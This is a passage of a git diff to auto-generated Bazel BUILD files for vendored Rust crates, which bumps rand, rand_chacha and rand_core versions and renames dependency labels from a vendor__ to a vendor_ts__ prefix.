-            "@vendor__libc-0.2.169//:libc",  # x86_64-unknown-fuchsia
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-unknown-linux-gnu
-        ],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [
-            "@vendor__libc-0.2.169//:libc",  # x86_64-unknown-linux-gnu, x86_64-unknown-nixos-gnu
-        ],
-        "//conditions:default": [],
-    }),
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.9.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.9.0.bazel
new file mode 100644
index 000000000000..9dc571cda9a3
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand-0.9.0.bazel
@@ -0,0 +1,97 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "rand",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "alloc",
+        "default",
+        "os_rng",
+        "small_rng",
+        "std",
+        "std_rng",
+        "thread_rng",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rand",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.9.0",
+    deps = [
+        "@vendor_ts__rand_chacha-0.9.0//:rand_chacha",
+        "@vendor_ts__rand_core-0.9.2//:rand_core",
+        "@vendor_ts__zerocopy-0.8.20//:zerocopy",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.3.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.3.1.bazel
deleted file mode 100644
index 80c48fd82252..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.3.1.bazel
+++ /dev/null
@@ -1,90 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "rand_chacha",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=rand_chacha",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.3.1",
-    deps = [
-        "@vendor__ppv-lite86-0.2.20//:ppv_lite86",
-        "@vendor__rand_core-0.6.4//:rand_core",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.9.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.9.0.bazel
new file mode 100644
index 000000000000..eb188225fa44
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_chacha-0.9.0.bazel
@@ -0,0 +1,90 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "rand_chacha",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rand_chacha",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.9.0",
+    deps = [
+        "@vendor_ts__ppv-lite86-0.2.20//:ppv_lite86",
+        "@vendor_ts__rand_core-0.9.2//:rand_core",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.6.4.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.6.4.bazel
deleted file mode 100644
index f3d96b8a33c7..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.6.4.bazel
+++ /dev/null
@@ -1,91 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "rand_core",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "alloc",
-        "getrandom",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2018",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=rand_core",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.6.4",
-    deps = [
-        "@vendor__getrandom-0.2.15//:getrandom",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.9.2.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.9.2.bazel
new file mode 100644
index 000000000000..79af89a699ed
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rand_core-0.9.2.bazel
@@ -0,0 +1,91 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "rand_core",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_features = [
+        "os_rng",
+        "std",
+    ],
+    crate_root = "src/lib.rs",
+    edition = "2021",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=rand_core",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.9.2",
+    deps = [
+        "@vendor_ts__getrandom-0.3.1//:getrandom",
+        "@vendor_ts__zerocopy-0.8.20//:zerocopy",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel
index abe95003d292..98b7029f86a3 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-1.10.0.bazel
@@ -81,7 +81,7 @@ rust_library(
     }),
     version = "1.10.0",
     deps = [
-        "@vendor__either-1.13.0//:either",
-        "@vendor__rayon-core-1.12.1//:rayon_core",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__rayon-core-1.12.1//:rayon_core",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-core-1.12.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-core-1.12.1.bazel
index 2abb8caa8698..53bd8e6fe3d6 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-core-1.12.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rayon-core-1.12.1.bazel
@@ -82,9 +82,9 @@ rust_library(
     }),
     version = "1.12.1",
     deps = [
-        "@vendor__crossbeam-deque-0.8.6//:crossbeam_deque",
-        "@vendor__crossbeam-utils-0.8.21//:crossbeam_utils",
-        "@vendor__rayon-core-1.12.1//:build_script_build",
+        "@vendor_ts__crossbeam-deque-0.8.6//:crossbeam_deque",
+        "@vendor_ts__crossbeam-utils-0.8.21//:crossbeam_utils",
+        "@vendor_ts__rayon-core-1.12.1//:build_script_build",
     ],
 )
 
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.redox_syscall-0.5.8.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.redox_syscall-0.5.8.bazel
index f9f0c89fa5ec..adc812c3df5a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.redox_syscall-0.5.8.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.redox_syscall-0.5.8.bazel
@@ -81,6 +81,6 @@ rust_library(
     }),
     version = "0.5.8",
     deps = [
-        "@vendor__bitflags-2.7.0//:bitflags",
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-1.11.1.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-1.11.1.bazel
index e0a2b9880c24..0399f3132c64 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-1.11.1.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-1.11.1.bazel
@@ -100,9 +100,9 @@ rust_library(
     }),
     version = "1.11.1",
     deps = [
-        "@vendor__aho-corasick-1.1.3//:aho_corasick",
-        "@vendor__memchr-2.7.4//:memchr",
-        "@vendor__regex-automata-0.4.9//:regex_automata",
-        "@vendor__regex-syntax-0.8.5//:regex_syntax",
+        "@vendor_ts__aho-corasick-1.1.3//:aho_corasick",
+        "@vendor_ts__memchr-2.7.4//:memchr",
+        "@vendor_ts__regex-automata-0.4.9//:regex_automata",
+        "@vendor_ts__regex-syntax-0.8.5//:regex_syntax",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.1.10.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.1.10.bazel
index 1978a52d5c2d..59e85402070a 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.1.10.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.1.10.bazel
@@ -86,6 +86,6 @@ rust_library(
     }),
     version = "0.1.10",
     deps = [
-        "@vendor__regex-syntax-0.6.29//:regex_syntax",
+        "@vendor_ts__regex-syntax-0.6.29//:regex_syntax",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.4.9.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.4.9.bazel
index f16dfc66ef22..02062f8053c7 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.4.9.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.regex-automata-0.4.9.bazel
@@ -107,8 +107,8 @@ rust_library(
     }),
     version = "0.4.9",
     deps = [
-        "@vendor__aho-corasick-1.1.3//:aho_corasick",
-        "@vendor__memchr-2.7.4//:memchr",
-        "@vendor__regex-syntax-0.8.5//:regex_syntax",
+        "@vendor_ts__aho-corasick-1.1.3//:aho_corasick",
+        "@vendor_ts__memchr-2.7.4//:memchr",
+        "@vendor_ts__regex-syntax-0.8.5//:regex_syntax",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rowan-0.15.15.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rowan-0.15.15.bazel
index b35e36f48ccf..f2f46f442a8c 100644
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rowan-0.15.15.bazel
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rowan-0.15.15.bazel
@@ -81,10 +81,10 @@ rust_library(
     }),
     version = "0.15.15",
     deps = [
-        "@vendor__countme-3.0.1//:countme",
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__memoffset-0.9.1//:memoffset",
-        "@vendor__rustc-hash-1.1.0//:rustc_hash",
-        "@vendor__text-size-1.1.1//:text_size",
+        "@vendor_ts__countme-3.0.1//:countme",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__memoffset-0.9.1//:memoffset",
+        "@vendor_ts__rustc-hash-1.1.0//:rustc_hash",
+        "@vendor_ts__text-size-1.1.1//:text_size",
     ],
 )
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.0.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.0.bazel
deleted file mode 100644
index 37220a441d57..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.rustc-hash-2.1.0.bazel
+++ /dev/null
@@ -1,87 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "rustc_hash",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_features = [
-        "default",
-        "std",
-    ],
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=rustc-hash",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
